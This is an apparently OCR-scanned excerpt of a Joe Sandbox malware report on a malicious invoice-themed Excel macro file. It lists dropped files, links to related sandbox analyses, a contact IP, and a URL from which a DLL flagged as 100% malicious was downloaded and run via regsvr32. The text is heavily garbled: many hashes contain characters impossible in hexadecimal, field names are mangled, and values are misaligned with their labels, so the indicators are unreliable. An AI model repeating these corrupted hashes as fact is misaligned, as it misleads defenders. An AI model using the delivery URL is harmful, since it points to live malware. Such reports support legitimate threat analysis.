https://view.joesandbox.com/analysis/180333/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/180333/html/none?idtype=webid
https://view.joesandbox.com/analysis/249531/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249531/html/none?idtype=webid
https://view.joesandbox.com/analysis/249524/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249524/html/none?idtype=webid
https://view.joesandbox.com/analysis/248328/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248328/html/none?idtype=webid
https://view.joesandbox.com/analysis/248154/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248154/html/none?idtype=webid
https://view.joesandbox.com/analysis/248147/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248147/html/none?idtype=webid

Match Associated Sample Name /| URL SHA 256 Detection Link Context

Get hash malicious Browse e 77.220.64.37
Get hash malicious Browse e 77.220.64.37
Get hash malicious Browse e 77.220.64.37
Get hash malicious Browse e 77.220.64.37
Get hash malicious Browse e 77.220.64.37
Get hash malicious Browse e 77.220.64.37
Get hash malicious Browse e 77.220.64.37
Get hash malicious Browse e 77.220.64.37
Get hash malicious Browse e 77.220.64.37
Get hash malicious Browse e 77.220.64.37
Get hash malicious Browse e 77.220.64.37
Get hash malicious Browse e 77.220.64.37
Get hash malicious Browse e 77.220.64.37
Get hash malicious Browse e 77.220.64.37
Get hash malicious Browse e 77.220.64.37

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUriCache\Content\3C428B1A3E5F57D887EC4B864FAC5DCC

Process: C:\Windows\System32\DWWIN.EXE
File Type: data
Category: dropped
Size (bytes): 914
Entropy (8bit):  7.367371959019618
Encrypted: false
SSDEEP: 24:c00GIGM7qGIGd7SK1tcudP5M/COVQYyLAR3fum:+JInJ17tcudRMg6QsF
MD5: E4AG8ACB54AC5242460AFD72481B2A44
SHA1L: DF3C24F9BFD666761B268073FE06D1CC8D4F82A4
SHA-256: CB3CCBB76031E5E0138F8DD39A23F9DE47FFC35E43C1144CEA27D46A5AB1CB5F
SHA-512: 5622207E1BA285F172756F6019AF92AC808ED63286E24DFECC1E79873FB5D140F1CEB7133F2476E89A5F75F711F9813A9FBB8FD5287F64ADFDCC53B864F9BDC
Malicious: false
Reputation: moderate, very likely benign file
Preview:
0.0,V (de 00 5 He 0al.0...U...US1.0...U....DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20...130801120000Z..380115120000Z0a1l.

0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20.."0...*.H...... LTAdkh IR T <z . k-~$D.b.~.~Tu ..P..c
0., 7..CNJ,.. ... %k . .0ll.g..a....2k. W ]......L.5-.Im.w..IK.U.....#LmE....0.LUW.|..s..0..P.. ..g(.s.=Fv..14M..E. I.....3)).....B0@0...U.......0....0...U...
........ 0..U...N"T ..n.......90.. * H............. g(.0.Hc.1..9.}<.J..+.._sw*2.9.gB.#.Eg5....a.4.. L....5.v..B..D...6t$Z.I..Y5..I....G*=./\... ._SF..h...0.>1....>5.._..pPpGA.W.N

....... 1.%.u...0..Aq..*.0. U...E..D..2...SF.,..." K.E...X..}R..YC...&.0...7}....w_V.<..]V[..fn.57.2.

.0

Process: C:\Windows\SysWOW64\regsvr32.exe

File Type: Microsoft Cabinet archive data, 58936 bytes, 1 file

Category: dropped

Size (bytes): 58936

Entropy (8bit):  7.994797855729196

Encrypted: true

SSDEEP: 768:A2CCXehkvodpN73AJjDzh85ApA37vK5cixQh+alE/sSkoWYrgEHqCinmXdBDz2mi:i/LAVEZrGelxOhoW6qCLANz2pj

MD5: E4F1E21910443409E81E5B55DC8DE774

SHA1L: EC0885660BD216D0CDD5E6762B2F595376995BD0

SHA-256: CF99E08369397577BE949FBF1E4BF06943BC8027996AE65CEB39E38DD3BD30F5

SHA-512: 2253849FADBCDF2B10B78A8B41C54E16DB7BB300AAA1ASA151EDA2A7AAG4D5250AEDI08C3B46AFE7262E66D957B255F6D57B6A6BBOE4F9324F2C22E9BF0882
46

Malicious: false

Reputation: high, very likely benign file

Preview:
MSCF....8....... TN Lo St LQ.v .authroot.stl..0(/.5..CK..8T....c_.d.....(....]. M$[v.4CH)-.%.QIR..$t)Kd...D.....3.n..u.............|..=H4.U=. . X..qn.+S.MJ.....y.n.v.XC...

n7R..C s e 9+ ]0 2hs.an . awt LLs L OS> L pfi7 Ul Ls A wz AgLY

N.......C..2...P0$.Y..?m....Z0.93.>W0&.y](....]. >... ..R.gB..f.....y.cEB.V=.....hy}....t6b.q./~.p .60...eCS4.0......d..}.<,nh.;....)....e.]...Cx]..f.8.Z.&.G.....
.b....0GQ.V.qg..Y............q...0.V.Tu?.Z..r..J..>R.ZsQ...dn.0.<..0.K...|.....Q......X..C.....a;.*..NQ..x.b4..1 }." o\.cD"0."Y....SV..g...Y....0.=....k..u.
s.kV?@...M...S.n":G....U.ev..>..q...$.)3..T..r..m.....6...r IH.B <.ht..8.s..u[.N.dL.%...q....9..;T...5..\.....g...
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https://view.joesandbox.com/analysis/248141/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248141/html/none?idtype=webid
https://view.joesandbox.com/analysis/247998/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247998/html/none?idtype=webid
https://view.joesandbox.com/analysis/247988/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247988/html/none?idtype=webid
https://view.joesandbox.com/analysis/247895/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247895/html/none?idtype=webid
https://view.joesandbox.com/analysis/246796/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246796/html/none?idtype=webid
https://view.joesandbox.com/analysis/246717/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246717/html/none?idtype=webid
https://view.joesandbox.com/analysis/246687/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246687/html/none?idtype=webid
https://view.joesandbox.com/analysis/246644/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246644/html/none?idtype=webid
https://view.joesandbox.com/analysis/246611/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246611/html/none?idtype=webid
https://view.joesandbox.com/analysis/246596/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246596/html/none?idtype=webid
https://view.joesandbox.com/analysis/246571/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246571/html/none?idtype=webid
https://view.joesandbox.com/analysis/246395/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246395/html/none?idtype=webid
https://view.joesandbox.com/analysis/246213/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246213/html/none?idtype=webid
https://view.joesandbox.com/analysis/246122/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246122/html/none?idtype=webid
https://view.joesandbox.com/analysis/246117/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246117/html/none?idtype=webid

C:\Users\luser\AppData\LocalLow\Microsoft\CryptnetUriCache\MetaData\3C428B1A3E5F57D887EC4B864FAC5DCC

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\System32\DWWIN.EXE

data

dropped

252

3.0972316133369198

false
6:kKDSLDKVIbjcalgRAOAUSWO0zeEpV1EW10XISMIcV/:LSLutWOxSWO0zeYrsMIU/
95C9AB4B03AB8FOC1FF262A8F31995C5
4EBFA7B089667BBA03F50E4758DCF51EBCD25E3D
7E9BBE8B2154EEFC912DDEF0715CDFD5A891CFAFB218957101AB680A4D0D36D47
BD677B3977A83A5A066B72D4E50577355BA3D63534EDE33477712B7409B7364726ADF6E07F41C15088514119D203935BFC47B80CA68D84F42B760CE841672DBC

false

low

e e Nl h.tt.p...//c.a.c.erts..digic.e.rt..com./D.ig.iC.ertG.lob.alR.0.0.tG.2.crt."5a.28
6.4.1.7.-3.9.2."...

C:\Users\luser\AppData\LocalLow\Microsoft\CryptnetUriCache\MetaData\77EC63BDA74BDOD0E0426DC8F8008506

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\regsvr32.exe

data

dropped

326

3.1026656265662393

false
6:kKVSzZwwDN+SKQIPIEGYRMY 9z+4KIDA3RUege T6If:dSzZWKPIE99SNxAhUegeT2
A75A12FC5B2A5542B5BDE35D4EB98EAL
76729393A262827790CA8CD417CD3B9CD5C53854
AB40F8F1FAFB13AE02498BFDCE6BA183476B6020BA0EBOD206033C634669DF2B

E7ED6D33BDD1401A361F13EF9B3C23106AF442093A341138348A2DDA7C1980506C6CD406690AD236CCEE3FCBIASC3C381A3045A392C2E7DAY91ADB242BEDA!
CA

LGYeel$es8ahttpad//letldlwindows.up.d.ate..com/ms.dow.nlo.ad/up.date.lv.3./s
.0.6.9.5.5.9.e.2.a.0.d.6.1.:.0."...

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Antivirus:
Reputation:
|IE Cache URL:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
downloaded
318976
7.117669944925195
false
6144:AH90040SSrnmrwc4oU2FmrEaoGAC+Y5H2V3B918juwN:M9002Srnh0gEJC+Y218jdN
65178705B72BBF84D455355EF711F190
87E34D67D9E3BECA0768A7EOCB3CEBF119655847
64E74154B802E06A6C728FEO08A7CAC5D2A4B8091384AF39701A76685BC68B5BA
FBA2D6AD8D7875794A36876B0090308FC197343C09B6FB1ECAABF37856CE8127F7633B0A217D5A52D4333074484C42AC4610640F7444921D7EFACF5BFOF3E4B7
true

e Antivirus: Joe Sandbox ML, Detection: 100%

low

hitp:/fiwww.sustaino2.com/qOig4v.rar

@.@.2.
.@..@.reloc..(....0

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9695A3E0.png

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:

Copyright null 2021

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
PNG image data, 363 x 234, 8-bit colormap, non-interlaced
dropped

2653

7.818766151665501

false

48:EMJaE2jR4jEJ/fFENMVNzNzHUuQoCpMTjOWhXP4/3dIsIfnaedCByM9x:VkjR4j6HI6NnGOWXPe/v3k/9x
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C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9695A3E0.png

MD5: 30D3FFA1E30B519FD9B1B839CC65C7BE

SHA1L: 1EBOFOE160FF7440223A7FE46F08B503F03D3AFB

SHA-256: 89A25BF794658FD3FABB1F042BCC283497B78E0A94098188F2DED7587BOCA3DC

SHA-512: 88E3ABDADCBD7F308FCAED390A033F09208EAAD4053FE6IDAA274CC14DD2BC815B4D63725C1EFEF3C592C1DEDE22A555DBF5303C096839F8338B2F6CIEOA!
C50

Malicious: false

Reputation: low

Preview:

. ...tEXtSoftware.Adobe ImageReadyq.e<....PLTE........KIK....
$F LEete? - R <#S ..S.....h.}.&{..X2.6.....5.;3>..0....0zn...])..8. .
C~3..>Jo.>_.F/l...._7nt..c..n.lu.g.@.. ?2.9..."Re.bUff L #4. FwA{.&N.Z.".2,;.2.h.|..eZf.".
1)...@G..y..EY..5>. " }..4(.A)d.Pk... 7vG........ ,G.RZ#F.. K<...j. (o . FHN.DA jy. W _...H2.....

.Y#..H.~...C..CLi.83..6_..B.DC..>?.]..fG0..X0}C.|. @B..AJ.s.x...n..[ #WE....F.gv..i}..f}.....9G...G.O4...w6.x.L.J..... _o:Za}. { X....F

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\F69BC29B.emf

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: Windows Enhanced Metafile (EMF) image data version 0x10000

Category: dropped

Size (bytes): 1408

Entropy (8bit): 2.270567557934206

Encrypted: false

SSDEEP: 12:YnLmlzslgWuMapOFol9l+EeQpN4IZsrBKIQzKIslOu17ulDtDAcqitLMk+QCeJHo:Ync9640CXV34gNgXK7KhDDYB
MDS5: 40550DC2F9D56285FA529159B8F2C6A5

SHA1L: DD81D41D283D2881BEC77E00D773C7E8C0744DA3

SHA-256: DA935E8D60E93E41BCD7C3FBB1750EF3AC471C3AF78AFC8945DFBF31EB54A1EL

SHA-512: FC354E4F37C9E1BA07DFC756F56A1ABE6A75230DEF908F34E43D35618B113A532E5B7C640F5B14BF75AC31003D8C66E06BA37A004E9357BF7896BD944A0514A!
Malicious: false

Reputation: moderate, very likely benign file

Preview:

! - ! s - s -
.%..

C:\Users\user\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_EXCEL.EXE_6f227b18f49da44a2d1889aa10939f535bdc_08955bf6\R
eport.wer

Process: C:\Windows\System32\DWWIN.EXE

File Type: data

Category: dropped

Size (bytes): 15904

Entropy (8bit): 3.7195946648331306

Encrypted: false

SSDEEP: 96:xQBakNZESI/fQ5QXI4izw+HbngICZgpYT1uPoGI9uyEYcbkMIbFY7UGQIITOB1r2:xBKzFCEuhTlyZVastVaJa5GG
MDS5: 14FF4042C26693770D7F77AC76C00168

SHA1L: 8FD7C59683208510851F8D2CA934A5E5E01B2483

SHA-256: 63F0507CF20A9163872B2F469E706FD3C02D904C4069A442C086E67F76A317DC

SHA-512: AO07A838A5A94D76F78D47518B1262C7D74E9215F352A18A24147B78E252B9F765B8BA27C873F810BC591D554DA3171E2B510D3B77A30EFE11D7DCAD12F34259C
Malicious: false

Preview:

V.ers.ion=1...Ev.entTyp.e=APPCRASH..EventTime=13254.8.85.20.25489.245...Re.p.o.rtTyp.e=2..Consent=1..Up.lo.
a.d.T.i.m.e.=1.3.254.8.85219584.154.5....Re.p.ortldentifier=c.5.e.8.aefb.-54.6.d.-11leb.-adcf-ecfdbbb59.15b...lntegratorR.e.p.
ortlde.ntifier=c.5.e.8.aefa-54.6.d.-1l1leb.-adcf-ecfdbbb59.15b...Resp.o.ns.e.Bucketld=370.1159.26.1..R.esp.o.ns.e..Bu.ck.
e.tT.able=3.8.0.7.0.7525....R.e.s.p.o.ns.e..ty.p.e.=4..8S.ig9.[.0]..Name=Ap.plicatio.n. .Nam.e...Sig.[0].V.alue=EXC.EL..EXE..S.ig.[1l
]..N.a.m.e.=.A.p.p.li.cati.o.n. V.ers.ion...Sigl[1l].V.alue=14.0..7.0.15..1.0.0.0....S.i.g.[.2.]..Nam.e.=. A.p.p.li.c.atio.n. .T..me.s.tam.p...S.ig.[2].V.
a.lu.e.=51.c.c.a.7.cd...S.ig.[3.]..Nam.

C:\Users\luser\AppData\Local\Temp\1013866.cvr

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 1452

Entropy (8bit): 3.1812039170642827

Encrypted: false

SSDEEP: 24:4Fll/a8sav8qRFpQbbelqgJol/aavXkqHKRCI7XG7/6PUgwd60TjQSdmo2CkRoLIF:4FII/J3ju/ZQXYs//KUlznmKIF
MDS5: B6F34D4A974AA35A9309D0AFEIFCF526

SHA1L: E22527DB60BDBAA9F110163E4036A1DF98801941

SHA-256: 8FF2029383625E992F99A4F6B28D066346DDAAAEA16A6203B267433E747D0A1A

SHA-512: 27FB2B39EC25DFEFC7A716C3E0A2BFDF45F3248FB7F301A434D9EF5CCF6917815B6534271F9DC1DB66629167E68910F1794425EC8252ACA966CB282BE7EB8CS
Malicious: false
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C:\Users\luser\AppData\Local\Temp\1013866.cvr

Preview:

.2f..n370....0...

C:\Users\user\AppData\Local\Temp\4D1F0000

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 58709

Entropy (8bit):  7.859289343679907

Encrypted: false

SSDEEP: 1536:hE8RzggbLmCf6646CIKumPheFGQIR3uBcsLNFgDQ:hJ1rmCM2Fo8F3+cQ

MD5: B895B4A279EF5CB47BB1D2DCDESACD12

SHA1L: 408FB942EF43197D38634DFAE0805F7BA334032D

SHA-256: 545EB594C94EF2F1BDD01B03E11E4277809581816D5530F0D586CBAFE2633BF8

SHA-512: 367344F3D565F10EDDAD605906F8E7E63E02F49DCBESB1EFI3C5AES6E99957FELF2AB50759561BA519A4C7FDS0AEEB91CDBA49A0D84AEL138735FDAD7AAFBD
E24

Malicious: false

Preview:

LHRUNFLL0GRLLY L ~<ze.m > % (X A WU &.LILwP."..

10,100 & | 57.Y....s..e. XB+@..3R.Ep..05. W...#..N.Yw.Y.|U. rBK)o.dz..g.H.
.D....q.8..,./[#t. KF.....3..r.q..

C:\Users\luser\AppData\Local\Temp\CabF69F.tmp E

Process: C:\Windows\SysWOW64\regsvr32.exe

File Type: Microsoft Cabinet archive data, 58936 bytes, 1 file

Category: dropped

Size (bytes): 58936

Entropy (8bit):  7.994797855729196

Encrypted: true

SSDEEP: 768:A2CCXehkvodpN73AJjDzh85ApA37vK5cIxQh+aLE/sSkoWYrgEHqCinmXdBDz2mi:i/LAVEZrGclxOhoW6qCLdNz2pj

MD5: E4F1E21910443409E81E5B55DC8DE774

SHA1L: EC0885660BD216D0CDD5E6762B2F595376995BD0

SHA-256: CF99E08369397577BE949FBF1E4BF06943BC8027996 AE65CEB39E38DD3BD30F5

SHA-512: 2253849FADBCDF2B10B78A8B41C54E16DB7BB300AAALASA151EDA2A7AAG64D5250AED908C3B46AFE7262E66D957B255F6D57B6A6BBIE4F9324F2C22E9BF0882
46

Malicious: false

Preview:

S LQ.v .authroot.stl..0(/.5..CK..8T....c_.d....(.....]. M$[v.4CH)-.%.QIR..$t)Kd...D.....3.n..u..... =H4.U=...X..gqn.+S.AJ.....y.n.v.XC...
f..+..c.9+[]0.".2ls...a w.t.Lls....O> #  pfi7.U.s. M wz ALY

hy}....téb.g./~.p........60...eCS4.0......d..}.<,nh.;.....)....e..]...CX]...f.8.Z..&.G.....
0.0V TU?.Z.r..0.. >R .Z8Q...dn.0.<...0.K....|....Q..."...X..C.....a;.*..Ng.x.b4.. 1 }."...... zN.N...Uf.g" >}........ o\.cD"0."Y.....SV..g...Y.....o.=....k..u.
..... U.ewv.>.q.".$.)3. T..r..m...6..rIH.B <.ht.8.s..u[.N.dL.%...q....g..;T..L.5..\.....0...

C:\Users\luser\AppData\Local\Temp\Excel8.0lMSForms.exd

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

Copyright null 2021

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

data

dropped

241332

4.206797960855872

false
1536:cGPLEQNSK8SCtKBX0Gph2vxKHNVMOKOXOmMRO/NIAIQK7viKAJYsAOppDCLTfMRsi:c6NNSk8DtKBrpb2vxrOpprf/nVq
8B7B4A0FFDD249D7FC31A97A05512C15

2EFC81F45557FF82815E76B1BA1C51DF7C91DE3A
356BEOFA61CF6ACT74645C8E136989FDAECF55715E1A725AF378031C90B3DA83B

ABFA64372BD6FEA7930869B1EADC73C59ADDEA906100COF5EA4ABAS4ECOACI9D112B480BEDD6742AB96BE85315A6212574322DFEF3E11E8F09BOCF1700F045C
F7

false

MSFT.

#.#. . #.7$..%..%...%...%..H&..
8..

Keverran @ 4!
D/.../...0..p0...0..81...1...2..d2...2..,3...3...3..X4...4.. 5...5...5..L6...6...7.X7...7..@8..
L&l
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C:\Users\user\AppData\Local\Temp\TarF6A0.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\regsvr32.exe

data

modified

152533

6.31602258454967

false
1536:SIPLIYy2pRSjgCyrYBb5HQop4Ydm6CWku2Ptlz0jD1rfJs42t6WP:S4LIpRScCy+fdmcku2PagwQA
D0682A3C344DFC62FB18D5A539F81F61

09D3E9B899785DA377DF2518C6175D70CCFIDA33
4788F7F15DE8063BB3B2547AF1BD9CDBD0596359550E53ECI8E532B2ADB5ECS5A
0E884D65C738879C7038C8FB592F53DD515E630AEACCIDIESFI013606364F092ACF7D832E1ABDAC86A1FOBOE906B2302EE3A840A503654F2B39A65B2FEA04EC

false

0..C.0.*....0.
-@wO0Z..+.....7...1L.JM.i.c.r.0.s.0.f.t. .R.0.0.t. .C.e.rtific.ate.
[ulv.%1..0..+....7..h1. 6. M0+ 7~ O 7 L0 0..+....7..1..0.V.......b0$..+.....7...1..>))....5,.=$.~R."..00..+.
7.2..Gy.cS.0D..+....7...16.4V.e.r.i.S.i.g.n. .T.i.m.e. .S.tam.p.in.g. .CA..0....4. .R..27.. ..1.0..+..7.h1.....0&.0..+..7.1.0..+..7<.0
L7010l AL @09 7.0 1 W FLL9INLLTLL00. L 701 L@ GldmL S XU 0B+ 7. 14.2Mli.c r.0.s.0.f.t. .R.0.0.t. .A.u.t.h.0

C:\Users\user\AppData\Local\Temp\WERF4F9.tmp.WERInternalMetadata.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\System32\DWWIN.EXE

XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
dropped

3110

3.6783584871862525

false

96:Shz4tU607VxBt3uhhgHPe40PAN5xp3yQ3:WI7LBNuhhgG45nv5p
5C4EA1BEF006E573B5097A280E513E3A
94BOADA924FC4D0OE46F037442321C491FE389592
E96B38EC22F4D71DEAE012FD25EB4BIB6A3BEA09BE23002606B451C52660F7FE
E29845FEC983C995B44A85275E1DB02006E0433B4886F3BDA4E3A5547A00F198B6A0F7CAF8367E79E8B7A01CA234C5CBDAB644A0433B79E828799514BE7E7DE,

false

.<?x.m.l .wvers.ionz="1..0" enc.o.ding="UTF.-16."?2>..<W.E.RR.ep.ortMetadata>...<0.SV.ers.io.n.lnformation>....<W..nd.
ow.s.N.T.V.er.s.io.n.>.6...1.</W.i.n.d.ow.s.N.T.V.e.r.s.i.o.n.>. <.B.u.il.d.>.7.6.0.1. .S.er.v.i.ce..Pack. .1.</B.uild>.....<P.r.o.du.c.t>(0x.3.0.)... W.
i.nd.ow.s. .7. .Profess.ional</Pro.duct>....<Edition>P.rofess.ional</E.d.ition>....<Bu.ildString>76.01.23.6.7.7..am.d.6.4f.
re..w.in7.s.p.l._1dr.17.0.2.0.9.-.0.6.0.0.<./.B.u.ild.S.trin.g.>......<R.e.w.is.i.o.n>113.0.</R.e.v.is.io.n>....<Flav.or>Multipr.o.ce.ss.or. .Fre.e.
</Flav.or>....<Architecture>X6.4.</Architecture>.....<LC..D.>10.33.</LC.D>....</0.SV.ers.io.nlnformation>....<P.ar.e.
ntP.ro.c.ess.l

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Antivirus:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

dropped

318976

7.117669944925195

false
6144:AH90040SSrnmrwc4oU2FmrEaoGAC+Y5H2V3B918juwN:M9002Srnh0gEJC+Y218jdN
65178705B72BBF84D455355EF711F190
87E34D67D9E3BECA0768A7EOCB3CEBF119655847
64E74154B802E06A6C728FEO08A7CAC5D2A4B8091384AF39701A76685BC68B5BA
FBA2D6AD8D7875794A36876B0090308FC197343C09B6FB1ECAABF37856CE8127F7633B0A217D5A52D4333074484C42AC4610640F7444921D7EFACF5BFOF3E4B7
true

e Antivirus: Joe Sandbox ML, Detection: 100%

...rdata.
@....text4...R..

@

@.@.2.
.@..@.reloc..(....0.........

C:\Users\luser\AppData\Roaming\Microsoft\Excel\~ar4362.xar

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:

Copyright null 2021

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
data
modified
52979
7.831648946675022
false
1536:TThvE7SvwpajWcz5+/28nv5LkJ4pTQkv/:hvEcMajWcFSTAXT
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C:\Users\luser\AppData\Roaming\Microsoft\Excel\~ar4362.xar

MD5: 500ABA9A319A808C9A7DF0311552FD97

SHA1L: 9410F2C1A89E00BE12668EE918B3407972ACBB7B

SHA-256: 4DDOECOFAA433CABE2D3E392A64C7FAES80BCABCF567DA143AB666F95A4A8C82

SHA-512: D5F9475D66B2855DEOD33A68BBF44F25A23C26A50D7EAFB4960EE18526 CEE818B5A8CF44087AB678A6AB8D1ECEC069F76EFF757ACD551CE983A5871DE4B35€
51

Malicious: false

Preview:
V..0.W.2 Lv....B. =] [W.wmA}L@ i ) cfelN77P.G..... N.O.{Q*O..Jr.0PZIAJ.AA.......1.3.

..,c|..0..b.Qgge..@ =...¢...u.D.w.H...]

XeU,6..0 T .s.lai.cw ln HI—C O &EDg

[Content Types] xml (

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Mon Jan 11
23:33:06 2021, atime=Mon Jan 11 23:33:06 2021, length=12288, window=hide

Category: dropped

Size (bytes): 867

Entropy (8bit): 4.473522552753825

Encrypted: false

SSDEEP: 12:85QaVCLgXg/XAICPCHaXgzB8IB/6VOUX+WnicvbQbDtZ3YilIMMEpxRIJKHOUTdJIU:85A/XTwz610NYegDv3qc4rNru/

MDS5: 965B47615F21EA2992FB68CA52CDI37E

SHA1L: 7BDE2CCFDB64773ECD4BE257B7F9CDE33AD2BE23

SHA-256: 96F68944FE891BF258461574D41603B609371C5E90E04E3CFF4114956F92844E

SHA-512: 022A79BCA4BDE745047D65E1249F0B4EABDEG48EDFB461C210564183569954CD8B9BBD89854C0736ED83B8DCECBF15CD2B124A67CB19C169EBI4060AESAEE
39

Malicious: false

Preview:

..7G..s6.~z...56.~2....0........ ..Us.ers.@.s.h.ell3.2.d.ll,.-

....,R$...Desktop.d. .D.esskto.p..@.s.hell3.2.dll,.-.2.
..\\585948\Users.user\Desktop.... L LB A 1SPS.XF.L
S 1 5.- 21 .9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6............. ......X......585948.......... D_...3N..W..9r[*... }EKD.
C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\INV7693947099-20210111388211.LNK
Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
File Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:14 2020, mtime=Mon Jan 11 23:33:06 2021,
atime=Mon Jan 11 23:33:14 2021, length=58711, window=hide
Category: dropped
Size (bytes): 2218
Entropy (8bit):  4.494377486795273
Encrypted: false
SSDEEP: 48:8I/XT31ktY OkMVfQh2I/XT31ktY OkMV{Q/:8I/XLIkaWfQh2l/XLIkaWfQ/
MD5: FE823F4B22EEDC877CFB6A6BB1B4BB17
SHA1L: CFCO03DCB843EA720BA7ED3AA7339284038CEDEGCO
SHA-256: EAAD7C11383B06C8BFA9271756DD1FA8581D25660EBIBF3611FC836A9EC1D574
SHA-512: 73D65CD3F086C53DF8F5FBCEC33BF175D05D99E031E466025413328A13F6ACAC212948C45AC10B841A4AD43265220E280F4404DB98333D9D314659A876D3B74(
Malicious: false
Preview:
00, /C t.1.....QK.X..Users. ..... 1L QKLX*. ..6..Us.ers..@.s.hell32..d II
.2.18.1.3....L.1...... eeedAllbius. .z 1L .Quy. . Desktop.d......QK.X.Q.y*... D e.s. k t.0.p..@.s.h.e.ll.3.2..d.LL,.
1.7.6.9......2. K...,R.. .INV769~1.XLS..p....... Q.y.Qy*..8.iiiiieeeee..lNV7.6.9.3.9.4.7.0.9.9.-.2.0.2.1.0.1.1.1.3.8.8.2.2.1..X..S. M. SB[ 2J. C
\Users\..#. \585948\Users.user\Desktop\INV7693947099-20210111388211.xIsm.8.....\....\....\....\....\.D.e.s.k.t.0.p.\..N.V.7.6.9.3.9.4.7.0.9.9.-.2.0.2.1.0.1.
1.1.3.8.8.2.1.1..xlsm....cc.i LB AGe 1SPS.XF.L8C....&m.m............-...S.-.1.-.5.-2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6....

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 139

Entropy (8bit): 4.511438008892939

Encrypted: false

SSDEEP: 3:0yBVomxWnnzb9JtWddLuYC0Zb9JtWddLuYCmxWnnZb9JtWddLuYCv:djundcXveX6ndcXs

MD5: F4B4C2AFB820706DDBA7BD1143737508

SHAL: 9A791E3A38C3D3828E7D406B83C0A4894EAFB22C

SHA-256: E412F2027BA1A60A4D8C22158756A4C39869670ECF6995C7312690D3532975AC

SHA-512: 8EC4C5FDD4DAECCE77D0C5D3D60FB1CC1AEB4C629EAIFAOB737567F946D8C1C510C20AAC56D613961035B2FDFOF54774FABD14034F59E911A44E7B620A9D2
69

Malicious: false
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C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Preview:

Desktop.LNK=0..[misc]..INV7693947099-20210111388211.LNK=0..INV7693947099-20210111388211.LNK=0..[misc]..INV7693947099-20210111388211.LNK=0..

C:\Users\user\Desktop\EC3F0000

Process:
